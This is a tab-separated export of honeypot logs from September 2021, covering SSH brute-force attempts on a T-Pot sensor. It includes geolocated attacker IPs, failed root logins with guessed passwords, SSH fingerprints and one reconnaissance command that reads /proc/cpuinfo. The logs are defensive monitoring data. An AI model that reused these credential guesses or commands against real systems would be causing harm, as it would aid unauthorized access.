21600	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.094862+03	2021-09-20 14:15:03.866613+03	{"_id": "-AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/000000] failed", "session": "a4b02130aa8b", "@version": "1", "password": "000000", "username": "root", "timestamp": "2021-09-20T11:06:34.094862Z", "@timestamp": "2021-09-20T11:06:34.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21601	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.102838+03	2021-09-20 14:15:03.867613+03	{"_id": "-QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1669e686d455", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:34.102838Z", "@timestamp": "2021-09-20T11:06:34.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21602	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.118732+03	2021-09-20 14:15:03.868614+03	{"_id": "-gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "965c39e184d7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:34.118732Z", "@timestamp": "2021-09-20T11:06:34.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21603	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:34.389941+03	2021-09-20 14:15:03.869612+03	{"_id": "DgbiAnwBvYTbRNuE3gBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1132007001809660, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33774, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.389941Z", "@timestamp": "2021-09-20T11:06:34.389Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21604	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:34.452929+03	2021-09-20 14:15:03.870612+03	{"_id": "DQbiAnwBvYTbRNuE3gBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1005329088875342, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33858, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.452929Z", "@timestamp": "2021-09-20T11:06:34.452Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21605	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.172488+03	2021-09-20 14:15:03.872613+03	{"_id": "EAbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "def525b016c4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:34.172488Z", "@timestamp": "2021-09-20T11:06:34.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21606	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.221985+03	2021-09-20 14:15:03.873613+03	{"_id": "EQbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2290afe28b50", "@version": "1", "duration": 2.645263910293579, "timestamp": "2021-09-20T11:06:34.221985Z", "@timestamp": "2021-09-20T11:06:34.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21607	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.38589+03	2021-09-20 14:15:03.875613+03	{"_id": "EgbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/p4ssw0rd] failed", "session": "5ea87880955a", "@version": "1", "password": "p4ssw0rd", "username": "root", "timestamp": "2021-09-20T11:06:34.385890Z", "@timestamp": "2021-09-20T11:06:34.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21608	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.386952+03	2021-09-20 14:15:03.877613+03	{"_id": "EwbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1669e686d455", "@version": "1", "timestamp": "2021-09-20T11:06:34.386952Z", "@timestamp": "2021-09-20T11:06:34.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21609	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:34.712388+03	2021-09-20 14:15:03.878612+03	{"_id": "FAbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:34.712388Z", "@timestamp": "2021-09-20T11:06:34.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21610	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:34.712946+03	2021-09-20 14:15:03.879612+03	{"_id": "FQbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:34.712946Z", "@timestamp": "2021-09-20T11:06:34.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21611	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.826627+03	2021-09-20 14:15:03.881612+03	{"_id": "FgbiAnwBvYTbRNuE3wBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6c88bc7de748", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:34.826627Z", "@timestamp": "2021-09-20T11:06:34.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21612	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.168408+03	2021-09-20 14:15:03.882612+03	{"_id": "FwbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33858 (192.168.176.2:22) [session: def525b016c4]", "session": "def525b016c4", "@version": "1", "protocol": "ssh", "src_port": 33858, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.168408Z", "@timestamp": "2021-09-20T11:06:34.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21628	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.028764+03	2021-09-20 14:15:03.903613+03	{"_id": "JwbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "451e62234b8a", "@version": "1", "duration": 2.5621187686920166, "timestamp": "2021-09-20T11:06:35.028764Z", "@timestamp": "2021-09-20T11:06:35.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21613	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.823493+03	2021-09-20 14:15:03.883613+03	{"_id": "GAbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33898 (192.168.176.2:22) [session: 6c88bc7de748]", "session": "6c88bc7de748", "@version": "1", "protocol": "ssh", "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.823493Z", "@timestamp": "2021-09-20T11:06:34.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21614	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:34.104294+03	2021-09-20 14:15:03.884612+03	{"_id": "GQbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33230, "timestamp": "2021-09-20T11:06:34.104294", "@timestamp": "2021-09-20T11:06:34.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21615	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:34.119817+03	2021-09-20 14:15:03.885612+03	{"_id": "GgbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33774, "timestamp": "2021-09-20T11:06:34.119817", "@timestamp": "2021-09-20T11:06:34.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21616	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:34.174562+03	2021-09-20 14:15:03.887612+03	{"_id": "GwbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33858, "timestamp": "2021-09-20T11:06:34.174562", "@timestamp": "2021-09-20T11:06:34.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
